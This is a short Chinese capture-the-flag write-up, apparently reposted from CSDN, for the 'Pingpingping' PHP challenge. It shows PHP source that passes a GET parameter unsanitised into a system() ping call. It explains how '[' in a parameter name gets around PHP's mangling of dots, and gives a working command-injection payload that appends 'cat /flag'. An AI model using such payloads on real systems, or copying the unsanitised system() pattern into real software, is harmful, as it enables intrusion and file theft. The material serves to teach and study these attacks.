自学内容网 自学内容网

Pingpingping 解题思路

题目

源代码

<?php
highlight_file(__FILE__);
error_reporting(0);
$_ping = $_GET['Ping_ip.exe'];
if(isset($_ping)){
    system("ping -c 3 ".$_ping);
}else{
    $data = base64_encode(file_get_contents("error.png"));
    echo "<img src='data:image/png;base64,$data'/>";
}

直接给出了我们的源代码,我来简单的进行一些代码解说。

这代码非常简单,先是需要我们以get的方式提交参数Ping_ip.exe。然后我们提交的参数会在system()函数中与ping命令连接在一起进行执行。

那么很明了的思路就是使用我们的cat命令抓取我们的flag。

 system("ping -c 3 ".$_ping);

可以看到我们这里面的ping命令形式是不完整的,所以我们必须要先补全我们的ping命令再进行cat命令抓取。

那么第一个陷阱点出现了,我们必须提交的参数是Ping_ip.exe但是:

PHP中我们变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。

可以看到如果直接提交则会发生错误。

所以我们必须先转义前面的字符,以防止后面的点被转义。

为了使其转义为下划线所以我们选择使用[来替换。

payload

/?Ping[ip.exe=127.0.0.1;cat /flag


原文地址:https://blog.csdn.net/2301_77012231/article/details/144740846

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!